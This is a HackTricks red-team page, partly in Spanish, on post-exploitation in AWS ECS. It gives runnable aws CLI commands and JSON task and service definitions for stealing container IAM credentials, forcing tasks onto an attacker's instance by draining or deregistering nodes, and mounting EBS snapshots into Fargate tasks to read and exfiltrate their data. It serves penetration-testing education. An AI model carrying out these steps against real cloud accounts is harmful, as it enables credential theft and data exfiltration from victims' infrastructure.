AWS - ECS Post Exploitation

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

ECS

Para más información consulta:

AWS - ECS Enum

Roles IAM del host

In ECS an IAM role can be assigned to the task running inside the container. If the task is run inside an EC2 instance, the EC2 instance will have another IAM role attached to it.
Which means that if you manage to compromise an ECS instance you can potentially obtain the IAM role associated to the ECR and to the EC2 instance. For more info about how to get those credentials check:

Cloud SSRF - HackTricks

Caution

Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, according to the docs, la respuesta de la PUT request tendrá un hop limit of 1, haciendo imposible acceder a los metadata de la EC2 desde un container dentro de la instancia EC2.

Privesc to node to steal other containers creds & secrets

But moreover, EC2 uses docker to run ECS tasks, so if you can escape to the node or access the docker socket, you can check which other containers are being run, and even get inside of them and steal their IAM roles attached.

Hacer que los containers se ejecuten en el host actual

Furthermore, the EC2 instance role will usually have enough permissions to update the container instance state of the EC2 instances being used as nodes inside the cluster. An attacker could modify the state of an instance to DRAINING, then ECS will remove all the tasks from it and the ones being run as REPLICA will be run in a different instance, potentially inside the attackers instance so he can steal their IAM roles and potential sensitive info from inside the container.

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

La misma técnica se puede hacer anulando el registro de la instancia EC2 del clúster. Esto es potencialmente menos sigiloso, pero forzará que las tareas se ejecuten en otras instancias:

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

Una técnica final para forzar la re-ejecución de tasks es indicar a ECS que la task or container was stopped. Hay 3 APIs potenciales para esto:

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Robar información sensible de los contenedores de ECR

La instancia EC2 probablemente también tendrá el permiso ecr:GetAuthorizationToken que le permite descargar imágenes (puedes buscar información sensible en ellas).

Montar una instantánea de EBS directamente en una tarea de ECS (configuredAtLaunch + volumeConfigurations)

Abusar de la integración nativa ECS–EBS (2024+) para montar el contenido de una instantánea de EBS existente directamente dentro de una nueva tarea/servicio de ECS y leer sus datos desde dentro del contenedor.

  • Requisitos (mínimos):

  • ecs:RegisterTaskDefinition

  • Uno de: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole en:

  • ECS infrastructure role used for volumes (política: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

  • Task execution/Task roles referenced by the task definition

  • Si la instantánea está cifrada con una CMK: permisos de KMS para el rol de infra (la política administrada de AWS mencionada arriba incluye los permisos KMS requeridos para claves administradas por AWS).

  • Impacto: Leer contenido arbitrario del disco desde la instantánea (p. ej., archivos de base de datos) dentro del contenedor y exfiltrar vía red/registros.

Pasos (ejemplo Fargate):

  1. Crear el ECS infrastructure role (si no existe) y adjuntar la política administrada:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. Registra una task definition con un volumen marcado configuredAtLaunch y móntalo en el contenedor. Ejemplo (imprime el secreto y luego duerme):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. Crear o actualizar un servicio pasando el snapshot de EBS a través de volumeConfigurations.managedEBSVolume (requiere iam:PassRole en el rol de infraestructura). Ejemplo:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. Cuando la task se inicia, el contenedor puede leer el contenido del snapshot en la ruta de montaje configurada (p. ej., /loot). Exfiltrate a través de la network/logs de la task.

Limpieza:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks